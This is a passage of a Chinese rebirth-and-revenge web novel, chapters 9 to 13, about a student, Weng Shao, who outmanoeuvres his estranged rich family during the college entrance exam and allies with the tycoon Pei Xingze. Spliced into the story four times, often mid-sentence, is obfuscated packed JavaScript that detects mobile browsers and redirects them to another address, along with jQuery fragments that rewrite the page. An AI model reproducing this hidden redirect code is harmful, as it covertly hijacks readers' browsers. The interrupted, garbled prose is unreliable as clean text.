翁绍的事情闹得人尽皆知。这位老师虽然不在市一中教学,却也有所耳闻。他有些同情地看着翁绍,这个节骨眼上,他也知道他安慰不了什么,只能耐心叮嘱道:“好好考试,仔细审题,把会做的先做了,做完也别急着交卷,多检查几遍,千万别忘了写姓名和考号……” 老师不放心地反复叮咛。据他所知,这可是一位有能力争夺本届高考状元的种子选手,如果翁绍真的被那些八卦记者干扰了心态,导致考得不理想,那就太可惜了。 翁绍情绪低落的点头,语气哽咽地感谢老师。但在老师感慨万分地离开以后,他委屈到泛红的双眼却迅速变得冷漠——就像两颗冰冷无机质的玻璃珠子。但因为他始终低着头走路,没有任何人发现他的异常。 9. 第 9 章 翁绍一级一级地迈着台阶上楼。 计划出了一点小差错。 翁绍没有想到记者采访他时,会有那么多同学站出来帮他说话。还有人找来监考老师解围。 这些都跟上辈子的发展不一样。想来是因为一个月前,翁绍大公无私地“奉献”出自己的学习笔记和思维导图,打动了同样面临高考的市一中同学,从而引发的一点蝴蝶效应。 这细微的改变,让翁绍久违地感受到了一丝丝困扰。他将自己整理好的学习笔记和思维导图无偿分享出来,是为了后续反击翁家,提前埋下的一个小小铺垫。却没想到后续的计划还没来得及实施,他反倒被热情帮忙的同学们打乱了正在进行的计划。 也不知道翁家人看到今天的采访以后,还会不会把那些视频播出来。 翁绍面无表情地走进教室,顺着考生号找到自己的座位。看着桌面上包装完好的一块巧克力和一瓶可乐,不禁微微一怔。 “听说吃了巧克力,运气会变好,你一定能考上京海大学的。”坐在翁绍斜对面的女生双手握拳,元气满满道:“加油!” 翁绍认出对方就是带着监考老师帮他解围的那个女生,不禁微微一笑:“谢谢你。” “不客气。”女生摆摆手:“应该的。” “可乐是我送给你的。”坐在翁绍后面的男生笑嘻嘻道:“听说喝了碳酸饮料,心情会变好呦~” 虽然翁绍在分享学科笔记的时候,没并有想过自己会得到具体哪位同学的报答。可是看过学习笔记的大部分同学,却都记住了翁绍的好。只可惜他们一直都没有什么机会。这次能帮到翁绍,他们也很开心。 翁绍看着两人明媚灿烂的笑容,唇角的弧度也情不自禁地上扬了一个像素。 重活一世,那些下三滥的手段早已无法伤害到他。可是身边突如其来的每一份善意,尤其是那些主动送出的,并非翁绍处心积虑谋划来的,哪怕是一块糖,一瓶水,都能在瞬间牵动翁绍的情绪。 * “裴总,我们的人发现翁缜让助理联系了一批记者,在高考当天,堵在考场外面给翁绍做采访。不过在采访过程中出了一点意外,他们似乎不打算把那些视频放出来了。” 低调奢华的办公室内,一道修长人影坐在真皮靠背椅上,一边欣赏落地窗外,星星点点的万家灯火,一边把玩着手里的打火机。 清脆悦耳的撞击声中,幽蓝火苗一闪一闪。一道漫不经心的声音在空旷的办公室内响起:“什么视频?” 助理拿出一个黑色U盘:“我们的人收买了其中一位记者,拿到了他们的采访视频。” 不等老板发话,助理已经动作利落的将U盘插到了电脑上。鼠标移动点击文件夹,安静的办公室内很快响起了嘈杂的采访声。 晃动的镜头中,一张苍白俊美的脸突兀地出现在电脑屏幕上。裴行则把玩打火机的手指微微一顿。 “……如果你们认为你们的举动是符合道德伦理的,那么我完全可以认为,我为了上大学,恳请从小遗弃我的亲生父母支付学费,是完全符合公序良俗的……” “我不需要翁英杰资助我上大学了。我们班主任陈老师说我这种情况,可以申请助学贷款……” 简短的视频很快就播完了。裴行则移动鼠标播了一遍又一遍。他看着视频中神色茫然,语气委屈,嘴巴不断开开合合,说出来的话却一句比一句犀利的翁绍,忽然笑了:“这么有趣的视频,怎么能藏在文件夹里吃灰呢。” 助理闻弦歌而知雅意,立刻说道:“Boss,我知道该怎么做了。” * “都是废物!” 一只茶杯用力砸向正在播放新闻的屏幕,翁英杰目光狠戾地看着镜头前装模作样的翁绍。这么多记者围攻一个人,都没能采访到他们想要的画面。还让裴行则的人把视频抢先发了出来,不是废物是什么? 比起暴跳如雷的翁英杰,一直没怎么掺和这件事的周舒静反倒显得额外有定力。她端着一盏金漆彩绘的陶瓷茶杯,若有所思地道:“其实这个小畜生说的也有些道理。不过是一年几千块钱,还不够我打一把牌的。我们有必要为了这点钱,把事情闹到不好收场的地步吗?” 翁绍本人不足为虑。可架不住裴家那条疯狗总是见缝插针的掺和在其中搅混水。 《易周刊》那篇报道一出来,就已经有人对翁家的所作所为提出异议了。幸好翁氏集团危机公关做得到位,那点舆论声量还没有掀起太大的浪花。可是再这么放任下去,谁都不知道将来的局面会怎么发展。 “怎么说都是翁家的家事,我的建议还是关起门来,自行处理吧。” 周舒静的话犹如一盆冷水兜头罩下,成功的让已经上了头的翁英杰父子稍稍冷静下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318298|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“妈说的没错,”翁缜强忍着不舒服,仔细分析道:“他到底是爸妈的亲生骨肉,也是我的亲弟弟。就算他再怎么不对,我们关起门来,好好教育他就是了。完全没必要家丑外扬,让所有人看笑话。” 更何况,翁绍也不是那种任打任骂、绝不还手的老实性格。他那张嘴很会狡辩,更擅长博取他人的同情。再这么僵持下去,他们也不敢说舆论会不会发生什么变化——别忘了,他们翁家人内斗的时候,还有外人藏在暗处虎视眈眈呢! 翁缜深吸一口气,他之所以厌恶翁绍,就是因为他在那天晚上,感受到了翁绍的威胁。所以他本能地排斥另外一个侵略性极强的雄性生物进入自己的地盘。可是冷静下来仔细想想,其实不必让翁绍回到爸妈身边,只是单纯资助翁绍读书,也是化解翁家潜在名誉危机的最好办法。 之前事发突然,他们也是钻了牛角尖。 “可是他会愿意吗?”翁绥也跟翁缜一样,厌恶翁绍到连他的名字都不愿意提起:“如果他真的只想要爸妈供他念书,就不会在宴席上毫无预兆的发难,让大家都下不来台。” “愿不愿意,不是他能做主的。”周舒静冷哼一声:“况且一个刚满十八岁的小孩儿,他懂什么啊?还不是听了余蕙心的教唆,才会一门心思的想要认回亲生父母。现在他也吃到教训了,应该知道什么叫事不可为。什么叫我们可以给,但他不能主动开口要。” 翁绥挠了挠头:“那我们要对外宣布,资助他读书吗?” 翁家四口面面相觑。虽然理性告诉他们,这么做是消除舆论危机的最好方法,但在这个节骨眼上答应资助翁绍上大学,不管他们说的再硬气,都像是被翁绍逼着签了城下之盟。怎么想都是莫名低了翁绍一头,面子上很让人过不去。 翁英杰紧皱眉头:“我考虑一下。” 这一考虑,就是两天。 经历了四场头脑风暴的考生们,在铃声响起后如潮水般漫出考场。翁绍也被人群裹挟着漂出校门。刚刚转了一个弯,就被一辆黑色的劳斯莱斯截下。 车门打开,一名西装革履的年轻助理走下车,冲着翁绍温和一笑:“你好,翁绍同学,我老板看了你的采访,想要资助你上大学,方便找个地方谈谈吗?” 翁绍看着那张熟悉的面孔,故作迟疑地问道:“你的老板是?” “裴氏集团执行总裁,裴行则。” 10. 第 10 章 车窗落下,一张脸猝不及防地出现在翁绍的面前。 模糊的警笛声从远方呼啸而过,翁绍不自觉地睁大了眼睛。 傍晚的风拂过脸颊,喧嚣了整个夏季的蝉鸣戛然而止。考场周遭的吵闹声如同倒灌的海水,席卷着视野中的一切,迅速坍塌湮灭。那一瞬间,仿佛整个世界都向翁绍轰然砸下。 无数碎片在翁绍的眼前炸裂迸溅,他又回到了那个夜晚。闪烁的警灯和搜救的声音划破山林夜幕,几欲抽空心脏的喘.息伴随着炸裂胸腔的灼热,身后绑匪的追击如影随形,疯涨的荒草和粗粝的枝杈在眼前飞快闪过。在刺耳的枪声和风的呼号声中,无数画面摇晃颠覆,最终定格在裴行则满是血污的脸上。 记忆中苍白青冷的面孔倏然变得鲜活。裴行则笑吟吟地看向翁绍,满腹言语在接触到翁绍眼神的一刹那,不自觉地变成了一句疑问:“我们……见过吗?” 就像空气中的氧气突然被抽空,一条鱼从水中捞上了岸,前世种种被人一句话搅得涟漪荡漾,从挥之不散的梦魇中,翁绍蓦然惊醒。 “没有。”翁绍定了定神,他直视着裴行则的眼睛,稳稳当当地回答:“我跟裴总,素不相识。” “我却对你神交已久。”裴行则打开车门下了车,在翁绍面前站定。 他身材高大,肩宽腿长,身上穿着剪裁合体的衬衫西裤,没系领带,领口解开三颗扣子,袖子挽着,露出一截小臂和一小片健硕的胸膛——不是在健身房撸铁练出来的虬结肌肉,而是常年保持户外运动和极限运动,自然形成的更为结实有力的流畅线条。 注意到翁绍的视线,裴行则笑眯眯解释道:“今天上午给裴氏地产在本地新开发的一个楼盘剪彩,天气太热了。”他似乎是在向翁绍解释,自己为什么会突然出现在这座城市。 然后,他冲着翁绍伸出手:“自我介绍一下,裴行则。之前在电视上看到了你的采访,我对你很感兴趣、” 裴行则说到这里,刻意一顿,然后才慢条斯理地继续说道:“我想成为你的资助人。方便找个地方聊一聊吗?我定了酒店,正好为你庆祝。” “翁绍。”翁绍机械地握住裴行则的手,他几乎听不见裴行则在说什么。只能感受到活人的温度。 裴行则的体温一向偏高。修长有力的手掌恰到好处地握着翁绍的手,炙热的温度从掌心源源不断地传来,跟记忆中冰冷黏腻的触感并不一样。 翁绍下意识攥紧裴行则的手,旋即克制地分开。 理智重新回颅的那一瞬,翁绍也感受到了周遭密密麻麻的视线。他忽然意识到裴行则为什么会出现在这里,为什么会满面春风的,笑着同他握手。 “您出现的非常及时。”翁绍习惯性地勾起嘴角,用最真诚的语气说道:“我现在,恰好需要资助。” 似乎是没有想到翁绍的态度如此坦然配合,裴行则饶有兴味地打量他,眼中笑意荡漾开来:“看来,我们已经达成一致。” 翁绍知情识趣地笑了笑,在裴行则彬彬有礼地邀请下,弯腰钻进了汽车。 * 从考场到裴行则预定的酒店,车程大概半个小时——还要算上高考结束,各大路段堵车的时间。 裴行则低调表示,这是他出差时下属子公司为他安排的酒店。他觉得酒店的菜做得不错,便把晚餐定在了这里。 但熟知裴行则行事风格的翁绍却记得,裴行则以往出差,只会下榻自家酒店。而眼前的这家帝豪皇廷大酒店,最大股东是翁氏集团。 裴行则是真不怕吃饭的时候,有人朝菜里吐口水啊! “为什么会这么说?”裴行则一脸讶然地看着翁绍。紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318299|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着他微微皱眉,似乎也被某种想象的画面恶心到了。 翁绍面无表情道:“因为他们就是这么恶心的人。”翁绍毫不怀疑,翁英杰父子都能干出这样的事。 裴行则被翁绍笃定的语气逗得险些笑出声来。他眸中含笑,越发欣赏地打量起翁绍,好像突然发现了有趣的事情:“你知道裴家跟翁家的恩怨?” “我看了《易周刊》,”翁绍幽深的眼眸直视裴行则:“是你的手笔吧?” 虽然用的是疑问的语气,但翁绍的表情却仿佛在说:就是你干的。 清脆的掌声在空旷的餐厅响起——包下了整个餐厅的裴行则慢条斯理道:“你比我预想中更加聪明。” “可以换个地方吃饭了吗?”翁绍开门见山道:“我饿了。” 当两人再次坐进裴行则的座驾,看着窗外徐徐倒退的街景,裴行则忽然开口:“我似乎什么都没做。” 他什么都没做,主导权却不知不觉转移到了翁绍的手上。 “并不,”翁绍波澜不惊地恭维道:“您充分展示了您的财力,还有执行力。” 华灯初上,街道两旁的霓虹灯光移动着落在翁绍的脸上,将他的眉眼勾勒的愈发精致,也将他本就漆黑幽深的瞳孔晕染的愈发深邃。 裴行则静静欣赏着淡定自若,仿佛一切都在掌握中的翁绍,后知后觉道:“你早就猜到了我会来找你,对吗?”他的声音轻缓又缠绵,带着一丝亲昵,仿佛是一根羽毛,轻轻划过翁绍的耳畔。 翁绍双手交叉,放在膝盖上。他的神情忽然变得专注,漆黑幽深的眼眸直视裴行则的眼睛。那一刻,裴行则清楚看到了翁绍乌黑如墨的瞳仁中,倒映出了自己的身影。 “当然,”翁绍听到自己的声音在安静的车厢中响起:“毕竟,我与裴总同样,神交已久。” 11. 第 11 章 裴行则重新选择的餐厅是本市一家并不对外开放的私房菜馆。店面由坐落在繁华市中心处的一座洋房公馆改造而成,临江傍水,景色宜人。 翁绍这辈子应该是第一次来这种场所,所以他恰到好处地表露出了一丝丝拘谨和不自在。但在真正吃饭的过程中,翁绍上辈子回到翁家以后,花了很长时间才练好的用餐礼仪,还是在举手投足间,把他出卖的干干净净。 一直不动声色打量他的裴行则微微一笑,将刚刚剥好的虾仁用公筷夹到翁绍的碗里:“他们家的白灼虾味道还不错,你尝尝。” 说完,裴行则又给翁绍盛了一碗汤。汤是百合淮山鲈鱼汤,熬的火候十足,口感清润鲜美,具有安神补脑,益脾胃,补肝肾的功效。很适合刚刚大考一场的高中毕业生。 翁绍温声道谢。他先是吃了裴行则剥给他的虾仁,又小口小口,喝了一碗汤。 盛夏时节,即便包厢内有空调吹凉,这一碗汤喝下去,翁绍仍觉得毛孔舒张,微微发汗。 细碎晶莹的汗珠衬得他的皮肤愈发冰凉白润,在水晶吊灯的映照下,好似泛着一层如玉的光晕。 裴行则的目光不自觉地落在翁绍的嘴唇上。大概是因为刚刚喝了一碗汤的缘故,视频中苍白削薄的嘴唇平添了一抹红润,看上去气色很好。更加有趣的是,翁绍仿佛真的把这次吃饭当做一次寻常晚餐,而不是社交礼仪上的饭局,在吃饭的过程中,基本上没怎么说话。 裴行则便也刻意的收敛三分。他的话不多,却一直在给翁绍剥虾剥螃蟹。其实这些事情原本可以让服务生来做,但不知道为什么,裴行则没有叫人,自己饶有兴致地剥了一只又一只。其中一大半都投喂给了初次见面的小朋友。 包厢里很安静,只能听到杯盘碗筷偶尔碰撞的声响。可裴行则跟翁绍之间的气氛却并不显得尴尬,反而有一种难以言喻的默契,在唇齿碗筷中默默氤氲,静静流淌。 茶过三巡,菜过五味,翁绍终于吃好了。他看了一眼还在剥虾仁的裴行则,开门见山直入正题:“不知道裴总想怎么资助我?” “你一向都是这么冷漠的吗?”裴行则抽出湿巾擦了擦手,骨节分明的一双手伸到翁绍眼前晃了晃,笑吟吟道:“我还是第一次帮男人剥虾。” “技术不错。”翁绍看了一眼在面前乱晃的大手,诚意满满地称赞道:“裴总有一双灵活的巧手。” 裴行则耐心等了一会儿,也没等到翁绍的第二句话,不由惊愕问道:“这就完了?” 翁绍眼中氤氲出一抹笑意:“不然呢?” “你的口齿这么伶俐,连记者都说不过你。我还以为,你会多夸我几句,至少夸得我心花怒放。”裴行则说到这里,冲着翁绍笑了笑:“虽然一看到你,我已经心花怒放了。” “很高兴,我竟然还有让裴总赏心悦目的功效,”翁绍倒了一杯茶给裴行则:“我以茶代酒,感谢裴总赏我饭吃。” 翁绍一语双关,成功逗笑了裴行则:“你果然很会说话。” “我还可以更会说话。只可惜我人微言轻,不论说什么,公众都听不见。”翁绍又给自己倒了一杯茶,遗憾说道:“他们只能听到有心人,想让他们听到的话。” 这一番含沙射影,显然是在说翁家人派记者去考场骚扰他,却又不肯把采访视频放出来的事情。好在这件事拖到最后,还有裴行则这位热心人及时出手,不然他辛辛苦苦做的采访,就不知道会被扔到哪个犄角旮旯里吃灰了。 “他们是被你吓到了。翁氏集团是上市企业,翁英杰父子不可能坐视集团声誉蒙羞。”裴行则把玩着茶杯,饶有兴味地打量翁绍:“不过你怎么会猜到,翁缜会在高考当天,派记者去考场围堵你?” 翁绍依旧是那句话:“因为翁缜,就是这么恶心的人。” “翁绥把视频散播到网上去,原本是想鼓动网友谴责我。可惜他棋差一着,没有想到螳螂捕蝉,还有您这位黄雀在后。《易周刊》的报道一出来,我就知道翁家不会善罢甘休。他们想要维护翁氏的声誉,就只能想办法解决掉我。” 解决翁绍的办法有两种:一种是收买翁绍,承认他的身份,资助他上学;另外一种就是买通记者往翁绍的身上泼脏水,让翁绍千夫所指、身败名裂,从源头彻底解决掉翁绍这个人。上辈子翁家选了两种办法双管齐下,翁绍被亲情和金钱蒙蔽,差点没了半条命。 而这辈子,翁绍直接在酒席上,当着父老乡亲的面把翁家人一顿臭骂。翁绍赌翁英杰绝对咽不下这口气。果然,在《易周刊》的报道刊登以后,翁家人没有选择向他示好。那么翁家人接下来的举动就很好推测了。 “我不知道翁英杰和翁缜具体会怎么做,不过想要毁了我,在高考当天出手的成功率最高。” 翁绍侃侃而谈。 坐在他对面的裴行则,看他的目光难掩欣赏之意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318300|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从任何常理的角度去看这件事,翁绍都只不过是一个高中刚毕业的学生。跟财大气粗,功成名就的翁英杰相比,这个男孩儿出身微寒,见识浅薄,长这么大连本市都没出过。谁能想到,就是这样一个看上去平平无奇的少年,竟然能把驰骋商场数十年的翁英杰算计到骨子里。还能从《易周刊》刊登的一篇报道中管窥蠡测,直接猜到有人想要利用他对付翁家。 “翁英杰那个老狐狸真的是瞎了眼,”裴行则忍不住感叹道:“放着你这么聪明伶俐的儿子不培养,居然煞费苦心的培养那两个蠢货。” 翁绍含笑说道:“他的眼睛要是不瞎,我又怎么能有机会得到裴总的资助呢?” “不,不是资助,”裴行则亲手给翁绍倒了一杯茶,笑吟吟地纠正道:“是合作。” “接下来你想怎么做,我会全力配合你。”裴行则的态度也很坦然。他坚信用人不疑,疑人不用。既然他断定翁绍是个聪明人,那么他很乐意听听聪明人的想法。 “翁家派人采访我这件事,给了我一点点启发。”翁绍很矜持的把功劳推到翁家父子的头上:“既然他们能派记者采访我,那么我有没有可能,也接受一下电视台的采访呢?” “最好是一些收视率高,有社会影响力的访谈节目。这些节目的覆盖范围广,话题讨论度高,在社会焦点和社会热点方面,能够从各个维度掀起广泛的舆情关注……” “如果可以的话,我希望这个节目能安排在高考出分以后。我将以京海大学学生的身份参加节目。我会在节目上分享我这一段时间的心路历程,顺便给莘莘学子们推荐一下,我即将出版的各科笔记。” 翁绍相信他的学习笔记,可以帮助广大学子更好的掌握高中知识点。这一点将在本届高考成绩出来以后,得到充分的体现。 到了那个时候,即便他一句翁家的坏话都不说,关注这件事的网友们也会知道,翁家人吝啬的那一点点钱,差点毁了一个多么优秀的学生。更遑论翁家在他备考期间,还搞出那么多小动作——关于这一点,相信裴行则很乐意帮忙提供证据。 “他们之前做的有多绝,之后的反噬就有多狠。”翁绍闻着袅袅茶香,云淡风轻地道。 裴行则听到这里,不由得会心一笑:“看来你早有成算。即便没有我,翁家人在你身上也讨不了好。” 翁绍举杯笑道:“裴总说笑了。我不过是一把枪,您才是执枪的人。” 12.第 12 章 面对裴行则暗藏锋芒的揶揄试探,翁绍四两拨千斤,不仅将自己对翁家的图谋展露无遗,更兼巧妙的示弱。一句“甘为手中枪”,干脆利落分清主次,更于言笑晏晏中,不带一丝烟火气地表达出自己的投诚之意。 头脑清醒又知情识趣的人,裴行则见过不少。可是在这个年纪,就能有这种城府的,裴行则只见过翁绍一个。 更不要说翁绍还长着一张十分符合裴大少爷审美的脸。 “我身边恰好缺一位助理,不知道你有没有兴趣来我身边,帮我做事?”裴行则越看翁绍,越是钟意他的心机手段,忍不住开口相邀。 翁绍莞尔一笑。他知道裴行则最信任器重的心腹,就是他的助理孟浩安。上一世,翁绍跟这人打过不少交道,深知其为人精明干练,心细如尘,城府手段无一不精,更难得忠心耿耿。裴行则死后,孟浩安遵从老板的遗嘱,直接成了翁绍的助理。认真算来,两人相处的时间,反倒比裴行则和孟浩安这对正经的主雇更久。 所以重活一世,翁绍可不打算跟自己的心腹争位置。 “多谢裴总抬爱。不过我倒是认为,比起裴总的助理,还有一个职务更适合现在的我。”翁绍言笑晏晏,毫不犹豫地拒绝了裴行则的招揽。 裴行则有些好笑。眼前这人口口声声说要“当他的枪”,真遇到事情,却比谁都有自己的想法和主见。 可是不知为何,裴行则分明看穿了翁绍的心口不一,却不忍心揭穿他,反而耐心十足地追问:“哦,究竟是什么职务,比当我的助理还好?” 翁绍笑道:“您之前说过,您来本市,是为了给裴氏地产新开盘的一处楼盘剪彩?” 裴行则笑吟吟道:“不错。”他很欣慰,他随口说的一句话,竟然被翁绍记在了心上。 翁绍说道:“我想要以勤工俭学的名义,成为这个楼盘的销售顾问。” 裴行则不着痕迹地皱了皱眉,条件反射地想到了翁氏集团在前段时间开盘的那处新楼盘。他看着翁绍势在必得的眉眼,隐隐猜到了翁绍的计划,却又觉得有点不可思议:“你觉得凭你一个人的力量,可以左右两个楼盘在未来几个月内的销售局面?” 翁绍含笑说道:“事在人为。” 顿了顿,翁绍继续开口:“我还有一个不情之请……” 裴行则挑眉,示意翁绍有话尽管说。 翁绍眼眸带笑,吐字如刀:“我希望新楼盘可以聘请我的母亲余蕙心,去售楼处当保洁。” * 这一顿饭一直吃到了晚上九点多,宾主尽欢。饭后突然下起了雨。裴行则主动提出,要送翁绍回家。不过翁绍却说,他目前还住在学校。 高考过后,市一中就开始办理毕业生离校退宿的手续。翁绍却依然住在寝室里,没有搬走。 一辆黑色的劳斯莱斯幻影穿过雨幕,缓缓停在市一中校门口。 车门打开,率先下车的裴行则在街边站定,他伸手接过司机手中的雨伞,转身看向翁绍:“我送你回寝室。” 随后下车的翁绍摇了摇头:“雨太大了。” 裴行则将雨伞向翁绍的方向倾斜。大概是为了使两人都不被雨淋湿,裴行则自然而然地向翁绍迈了一步,两人之间的距离,瞬间就从正常的社交距离变成面对面站着。 感受到裴行则陡然逼近的气息,翁绍下意识就想往后退,却被敞开的车门挡住了。 “我已经很久没有感受过高中校园的气息了,”裴行则低头,笑吟吟地看着近在咫尺的翁绍,彬彬有礼地询问道:“不知道翁绍同学能不能给我一个机会。” 身后车水马龙,飞驰而过的车辆碾过地面聚积的水坑,溅起圈圈涟漪。整座城市的倒影在水面上破碎又复原,一阵剧烈的动荡过后,映照出雨伞下面对面站着的两道身影。 翁绍同样凝望着近在咫尺的裴行则,缓缓开口:“这是我的荣幸。” * 高考两天,其他年级的学生都已经放假。整座校园空空荡荡的,只有两旁的路灯散发出昏黄的光芒。 雨越下越大了。道路两旁的香樟树在雨滴的敲打下,发出噼里啪啦的声响。裴行则将大半雨伞挪到翁绍的头顶,这个动作使得他半边身体都被雨水淋湿了。 翁绍微微皱眉,他下意识往裴行则的身边靠了靠。单薄消瘦的肩膀触碰到了裴行则的手臂。下一秒,翁绍整个人都被裴行则搂在了怀里。 “雨太大了。”裴行则凑到翁绍的耳边解释道。 炙热的气息喷洒在翁绍的耳廓,翁绍条件反射的想要避开,却又在作出动作的前一秒,硬生生地忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324055|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 两人靠得这么近,裴行则当然感受到了翁绍那一瞬间的肌肉紧绷,也察觉到了翁绍的克制和纵容。但裴行则什么都没说。 两人就这么一路搂着跑过教学楼前的空地,跑过空无一人的操场,最终来到了宿舍楼前。 翁绍在裴行则的保护下安然无恙,连一根头发丝都没有湿。 相比之下,裴行则就显得狼狈多了。他的衬衫已经被雨水淋湿,紧紧贴在身上,勾勒出宽阔的胸膛和线条流畅的臂膀,甚至连八块腹肌都若隐若现。面料挺括的西裤也滴答滴答的滴着水,很快就洇湿了裴行则脚下的地面。他用手撸了一下湿漉漉的头发,几根发丝凌乱地落在额前,英挺锐利的眉眼就这么毫无预兆地暴露在空气中。 翁绍眸光一暗,忍不住开口:“你身上全都湿了,要不要去我宿舍,我给你找条毛巾擦一擦?” “你们学校应该不允许外人随意进出宿舍楼吧?”裴行则善解人意地拒绝道:“还是算了吧。我回酒店冲个澡,再喝一碗姜汤,不会感冒的。” 不等翁绍开口,裴行则又说道:“况且你今天刚刚经历了两场考试,又陪我吃了一顿饭,肯定很累了。你也应该早点休息。” 说罢,裴行则不容拒绝地道:“再见。” 话虽如此,他的眼睛却一直注视着翁绍,脚步也一动不动。 翁绍静静看着裴行则,随后笑道:“那你回到酒店以后,记得给我发一条信息。” 裴行则:“……” 沉默片刻,裴行则悻悻说道:“你不跟我说再见吗?” 翁绍摇了摇头。宿舍楼前昏黄摇曳的灯光下,他的眉眼竟然显得有些哀伤落寞。 他不想跟裴行则说再见,是因为他不想再跟裴行则告别。可每说一次再见,就是死去一点点。 裴行则注视着翁绍漆黑深邃的眼睛,只觉得视线在空中交汇的某一瞬间,他的灵魂都被翁绍眼中流露出的饱含某种情绪的炙热烫伤。然而当他凝神细看时,翁绍的眼神又恢复了之前的波澜不惊。仿佛那一瞬间的触动,只是他的错觉。 最终,没有说再见的翁绍只是站在宿舍楼的台阶上,默不作声地注视着。在他幽邃黑沉的瞳仁中,安静的校园笼罩在仲夏夜晚的滂沱雨幕中,裴行则撑伞离开的背影渐行渐远。 13.第 13 章 高考过后,寒窗苦读十余年的高中毕业生们终于迎来了他们人生中,最漫长且轻松的一个暑假,可是带毕业班的老师们却还不能放假。 于是第二天早上,翁绍来到老师办公室的时候,就看到班主任陈老师正坐在办公桌前整理资料。办公桌一角摆放着几张华丽精美的楼盘折页宣传单,在阳光的照耀下熠熠生辉。 翁绍敲了敲门,走进办公室。 “你来啦。”陈老师将手中的资料竖在桌面上怼了怼,抬头笑道:“考得怎么样?” “如果没有意外的话,”翁绍笑了笑,充满自信地说道:“几个月后,我就可以去京海大学报道了。” 陈老师听到翁绍这么说,也不由自主地笑了:“老师相信你。” 说话间,她把手中的资料递给翁绍:“这是出版社的资料,还有王主编的电话。我之前也在这家出版社出版过几本高中辅导书,王主编就是当时负责我的编辑。我把你的学习笔记还有思维导图拿给她看了,她对你很感兴趣。” 翁绍一脸惊喜地接过资料:“谢谢老师。要不是您,这件事情绝对不会这么顺利。” 翁绍深知,一个高中生想要出版高中辅导书,是一件多么天方夜谭的事情。要不是有陈老师做担保,出版社和那位王主编绝对不会多看翁绍一眼。 “谢什么,这也是你自己的能力。”陈老师说到这里,愈发骄傲地看着自己的得意门生。教书育人数十载,陈老师教出的优秀学生不计其数,其中也不乏一些天纵奇才。但像翁绍这样擅长学习整理,小小年纪就能出版教辅书的优秀学生,也就只有这么一个。 当初翁绍找到她,说想将自己整理的学习笔记出版时,陈老师还有些意外。她倒不是轻视翁绍的学习成果——事实上,翁绍的学习笔记确实称得上是极为优秀的教学辅导工具。关于这一点,市一中高三年级的各科老师和同学们都深有体会。陈老师只是没有想到,翁绍小小年纪,竟然会有出书的想法。而且还是大多数人都不敢想的辅导书。 属实是思维盲区了。 陈老师不禁佩服翁绍的敢想敢做,并且大包大揽地承担了为翁绍联系出版社的重任。 “都说知识就是财富,你现在一定也深有感触了吧。”陈老师笑着打趣起自己的得意门生。她看着出类拔萃的翁绍,明亮的眼眸中满是欣慰。 等到翁绍的学习笔记顺利出版,他未来几年的学费和生活费就有着落了。但愿他今后再也不必承受来自父母家人的掣肘和辱骂,外界对他的恶意揣测和跟风责骂应该也会少很多。 之前的风波总算可以告一段落了。 陈老师很为自己的学生开心,于是她笑眯眯道:“我跟王主编约了今天中午在学校门口见面,届时我们再详谈出版事宜。” 翁绍再次道谢。 陈老师心情甚好地摆了摆手,顺口问道:“暑假期间你有什么打算?” 陈老师知道,翁绍每到寒暑假,都会做家教赚钱。她这么问,也是想着如果翁绍没有别的安排,她就给翁绍多介绍几个学生。趁暑假期间多赚一点钱,等到上大学后,也能过的宽裕一些。 但让陈老师没想到的是,翁绍竟然真的有别的安排。 “什么,你要去做置业顾问?”陈老师不敢置信地瞪大了眼睛,就连其他几位老师也都竖起了耳朵,不自觉地看过来。 翁绍感受到集中在背上的灼灼视线,不动声色道:“裴氏集团的总裁裴行则先生在电视上看到了我的采访,他想资助我上大学。又觉得授人以鱼不如授人以渔,便在裴氏地产新开盘的临湖雅苑,给我安排了一个岗位。让我在售楼处当置业顾问。” 陈老师一脸的恍惚,下意识问道:“这是什么时候的事儿?”她怎么不知道。 翁绍淡定说道:“昨天晚上。” 